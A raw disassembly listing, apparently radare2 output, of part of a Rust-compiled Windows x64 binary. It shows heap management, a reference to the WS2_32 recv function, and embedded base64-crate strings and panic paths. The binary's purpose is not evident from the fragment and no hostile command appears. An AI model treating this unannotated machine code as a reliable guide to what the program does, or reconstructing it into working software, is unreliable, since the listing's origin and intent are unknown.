movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 8], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
jmp 0x14000ce6a
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov rax, qword [rsp + 0x140]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], rsi
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
jmp 0x14000ce45
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
mov r15, qword [rsp + 0x128]
je 0x14000d7a0
mov rbp, rax
lea rax, [0x1402218f8]
mov qword [rbp], rax
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
cmp qword [rsp + 0x168], 0
je 0x14000cca7
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call fcn.14021dfcd
mov r8, qword [rsp + 0x1e8]
test r8, r8
mov rbx, qword [rsp + 0x138]
je 0x14000cdf8
mov rdx, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000ce12
lea rcx, [rsp + 0x40]
mov rdx, qword [rsp + 0x150]
call fcn.140141780
mov rdi, qword [rsp + 0x40]
cmp rdi, 2
jne 0x14000cd5e
movsxd rsi, esi
mov edi, 1
mov rbx, qword [rsp + 0x108]
jmp 0x14000cd74
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
movups xmm0, xmmword [rbp]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x40], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x30
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000db30
mov rbp, rax
lea rax, [0x1402217a8]
mov qword [rbp], rax
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rbx
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x180], 1
mov edi, 1
mov rbx, qword [rsp + 0x138]
jmp 0x14000d161
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov r13, qword [rsp + 0x148]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
test r14, r14
je 0x14000ce45
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x140]
call fcn.14021dfcd
cmp qword [rsp + 0x208], 0
je 0x14000ce6a
mov rsi, qword [rsp + 0x200]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
mov edi, 1
jmp 0x14000d161
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000cf45
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000ceff
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000cf19
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
lea rbp, [rsp + 0x58]
mov rbx, qword [rsp + 0x138]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 4
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000da49
mov rsi, rax
mov dword [rax], 0x61746164
lea rdi, [rsp + 0x40]
mov rcx, rdi
lea rdx, [rsp + 0x220]
call fcn.14001e160
cmp dword [rsp + 0x40], 1
je 0x14000da53
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0x110], rsi
movups xmmword [rsp + 0x118], xmm11
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x160]
lea r8, [rsp + 0x110]
mov r9, rdi
call fcn.140003be0
movzx eax, byte [rsp + 0xe0]
cmp rax, 6
je 0x14000d0fe
cmp eax, 3
jb 0x14000d0fe
cmp eax, 4
je 0x14000d032
cmp eax, 3
jne 0x14000d044
cmp qword [rsp + 0xf0], 0
je 0x14000d0fe
mov rsi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000d0fe
lea rcx, [rsp + 0xe8]
call fcn.1400032a0
jmp 0x14000d0fe
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x14000d0bd
mov rdx, qword [rsp + 0xe8]
mov rsi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x110], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000d0d7
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov r13, qword [rsp + 0x148]
mov r15, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x138]
movaps xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x1c0]
mov qword [rcx + 0xf], rax
movups xmmword [rcx - 1], xmm0
mov byte [rsp + 0x188], 5
movups xmm0, xmmword [rsp + 0x1b8]
movups xmm1, xmmword [rsp + 0x1c7]
lea rax, [rsp + 0x188]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 1], xmm0
mov qword [rsp + 0x180], 0
mov bpl, 5
xor edi, edi
movzx eax, byte [rsp + 0x220]
cmp rax, 3
jb 0x14000d25f
cmp eax, 4
je 0x14000d1ab
cmp eax, 3
jne 0x14000d1bd
cmp qword [rsp + 0x230], 0
je 0x14000d25f
mov rsi, qword [rsp + 0x228]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000d25f
lea rcx, [rsp + 0x228]
call fcn.1400032a0
jmp 0x14000d25f
mov r8, qword [rsp + 0x230]
test r8, r8
je 0x14000d236
mov rdx, qword [rsp + 0x228]
mov rsi, qword [rsp + 0x238]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000d250
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
mov rcx, rbx
call fcn.140182830
lea rcx, [rsp + 0x2c0]
call fcn.1400034c0
mov sil, 1
test rdi, rdi
jne 0x14000d2ab
lea rax, [rsp + 0x188]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.14000e2d0
test eax, eax
jne 0x14000d70c
xor edi, edi
xor esi, esi
cmp qword [rsp + 0x130], 0
je 0x14000d2cd
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x100]
call fcn.14021dfcd
test rdi, rdi
je 0x14000d2e4
mov rcx, qword [rsp + 0x188]
mov rax, qword [rcx]
call qword [rax]
jmp 0x14000d3e5
test sil, sil
je 0x14000d3e5
cmp bpl, 3
jb 0x14000d3e5
cmp bpl, 4
je 0x14000d331
cmp bpl, 3
jne 0x14000d343
cmp qword [rsp + 0x198], 0
je 0x14000d3e5
mov rsi, qword [rsp + 0x190]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000d3e5
lea rcx, [rsp + 0x190]
call fcn.1400032a0
jmp 0x14000d3e5
mov r8, qword [rsp + 0x198]
test r8, r8
je 0x14000d3bc
mov rdx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x1a0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x14000d3d6
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x108]
mov qword [rsp + 0x70], rsi
lea rcx, [rsp + 0x40]
call fcn.140007320
cmp qword [rsp + 0x268], 0
je 0x14000d402
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call fcn.14021dfcd
mov sil, 1
xor edi, edi
mov rbp, qword [rsp + 0x90]
jmp 0x1400095bc
xor edi, edi
jmp 0x14000d454
mov r15, rbp
cmp r13, r15
jne 0x14000d4cc
xor edi, edi
mov rax, qword [rsp + 0x1f8]
test rax, rax
je 0x14000d454
shl rax, 3
lea rax, [rax + rax*2]
test rax, rax
je 0x14000d454
call sub.KERNEL32.dll_GetProcessHeap
xor edi, edi
mov rcx, rax
xor edx, edx
mov r8, rbp
call fcn.14021dfcd
mov eax, edi
mov rdx, rsi
movaps xmm6, xmmword [rsp + 0x320]
movaps xmm7, xmmword [rsp + 0x330]
movaps xmm8, xmmword [rsp + 0x340]
movaps xmm9, xmmword [rsp + 0x350]
movaps xmm10, xmmword [rsp + 0x360]
movaps xmm11, xmmword [rsp + 0x370]
movaps xmm12, xmmword [rsp + 0x380]
movaps xmm13, xmmword [rsp + 0x390]
add rsp, 0x3a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, rdi
cmp r13, rdi
je 0x14000d424
lea rdi, [r15 + 0x18]
cmp qword [r15 + 8], 0
je 0x14000d4c0
mov rsi, qword [r15]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x14000d4c0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov rsi, rax
lea rax, [0x140221770]
mov qword [rsi], rax
mov dword [rsi + 8], 1
cmp qword [rsp + 0x48], 0
je 0x14000d53a
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call fcn.14021dfcd
cmp qword [rsp + 0x280], 0
je 0x14000d55c
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x240]
call fcn.14021dfcd
cmp r13, r15
jne 0x14000d5a8
mov edi, 1
mov rax, qword [rsp + 0x1f8]
test rax, rax
je 0x14000d454
shl rax, 3
lea rax, [rax + rax*2]
test rax, rax
je 0x14000d454
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbp
call fcn.14021dfcd
jmp 0x14000d454
mov r15, rbx
cmp r13, rbx
je 0x14000d561
lea rbx, [r15 + 0x18]
cmp qword [r15 + 8], 0
je 0x14000d5a0
mov rdi, qword [r15]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000d5a0
mov ebp, 8
xor r12d, r12d
mov qword [rsp + 0x1f8], r8
test rdi, rdi
jne 0x140007e8a
jmp 0x140007ea1
lea rax, [rsi + 0x18]
mov rbx, rsi
add rbx, 0x30
jmp 0x14000d5fd
mov rax, rbp
cmp rbx, rbp
je 0x14000d66d
lea rbp, [rax + 0x18]
cmp qword [rax + 8], 0
je 0x14000d5f5
mov rdi, qword [rax]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000d5f5
lea rax, [rsi + 0x18]
mov rbx, rsi
add rbx, 0x30
jmp 0x14000d634
mov rax, rbp
cmp rbx, rbp
je 0x14000d66d
lea rbp, [rax + 0x18]
cmp qword [rax + 8], 0
je 0x14000d62c
mov rdi, qword [rax]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x14000d62c
test r14, r14
je 0x14000d66d
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbp
call fcn.14021dfcd
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov rsi, rax
lea rax, [0x140221770]
mov qword [rsi], rax
mov dword [rsi + 8], 1
mov rbp, qword [rsp + 0x90]
cmp qword [rsp + 0x268], 0
je 0x14000d6d6
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call fcn.14021dfcd
cmp qword [rsp + 0x278], 0
je 0x14000d53a
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x270]
jmp 0x14000d535
mov rsi, rdx
cmp qword [rsp + 0x140], 0
jne 0x14000d71a
jmp 0x14000d6b1
mov rsi, rdx
cmp qword [rsp + 0x130], 0
je 0x14000d6b1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x100]
call fcn.14021dfcd
jmp 0x14000d6b1
lea r8, str.47_
mov rcx, rbp
mov rdx, rdi
call fcn.1400214d0
ud2
lea rcx, str.assertion_failed:_n___buf.len__47_
lea r8, [0x140274af8]
mov edx, 0x20
call fcn.14001f9d0
ud2
lea r8, [0x140274aa8]
mov rcx, rdi
mov rdx, r14
call fcn.1400214d0
ud2
test r14, r14
je 0x14000d78f
mov rcx, r13
mov rdx, r14
call fcn.1400182a0
ud2
test rax, rax
jne 0x14000d7aa
call fcn.1400182c0
ud2
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14000db35
mov ecx, 0x18
jmp 0x14000db35
mov rcx, rbp
mov rdx, rax
call fcn.1400182a0
ud2
mov ecx, 0x90
jmp 0x14000db35
mov ecx, 0x22
jmp 0x14000db24
test r14, r14
je 0x14000d78f
mov rdx, r14
mov rcx, qword [rsp + 0x100]
call fcn.1400182a0
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, 0xffffffffffffffe0
xor edx, edx
call fcn.140021960
ud2
add rcx, 0x20
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
jmp 0x14000dad2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
jmp 0x14000daf1
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
jmp 0x14000d904
lea rdx, [rcx + 6]
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
call fcn.140021960
ud2
add rcx, 6
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
jmp 0x14000daf4
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
xor ecx, ecx
xor edx, edx
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 1
mov edx, 1
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 2
mov edx, 2
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 3
mov edx, 3
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 4
mov edx, 4
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 5
mov edx, 5
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 6
mov edx, 6
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov ecx, 7
mov edx, 7
call fcn.14001fa20
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, r10
mov rdx, r11
call fcn.1400214d0
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, qword [rsp + 0x158]
call fcn.14001fa20
ud2
lea rax, str.Impossible:_must_only_have_0_to_8_input_bytes_in_last_chunk__with_no_invalid_lengths
mov qword [rsp + 0xa0], rax
lea rax, [0x14001ef40]
mov qword [rsp + 0xa8], rax
lea rax, [0x1402af088]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea rcx, [rsp + 0x40]
call fcn.14001fbd0
ud2
lea r8, [0x140221cc8]
mov ecx, 5
mov rdx, r14
call fcn.1400214d0
ud2
mov edx, 1
mov rcx, r14
call fcn.1400182a0
ud2
lea rcx, [0x140221ce9]
lea r8, [0x140221d68]
jmp 0x14000db0c
mov ecx, 6
jmp 0x14000db24
mov edx, 1
mov rcx, r13
call fcn.1400182a0
ud2
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rax
lea rax, [0x140221dc0]
jmp 0x14000da67
mov edx, 1
mov rcx, r15
call fcn.1400182a0
ud2
mov edx, 1
mov rcx, rbp
call fcn.1400182a0
ud2
mov edx, 1
mov rcx, rsi
call fcn.1400182a0
ud2
mov edx, 1
mov rcx, rdi
call fcn.1400182a0
ud2
test rdx, rdx
je 0x14000d78f
call fcn.1400182a0
ud2
mov ecx, 5
jmp 0x14000db24
mov ecx, 4
jmp 0x14000db24
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rax
lea rax, [0x140221d50]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402af842]
lea r9, fcn.140003410
lea r8, [rsp + 0xa0]
mov edx, 0x2b
call fcn.140022590
ud2
lea rcx, [0x140222372]
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov edx, 0x33
call fcn.140022520
ud2
add rsi, 8
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, 0xfffffffffffffff8
mov rdx, rsi
call fcn.140021960
ud2
add rsi, 8
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, rsi
mov rdx, r11
call fcn.1400201a0
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
call fcn.140021960
ud2
lea r8, str.C:Usersdarkarp.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.0_srcdecode.rsInvalidLastSymbolInvalidByteInvalidLengthABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, rdx
mov rdx, r15
call fcn.1400201a0
ud2
lea rcx, [0x140221ce9]
lea r8, [0x140221cf0]
mov edx, 6
call fcn.14001ef20
ud2
mov ecx, 3
jmp 0x14000db24
mov ecx, 8
mov edx, 1
call fcn.1400182a0
ud2
mov ecx, 0x30
mov edx, 8
call fcn.1400182a0
ud2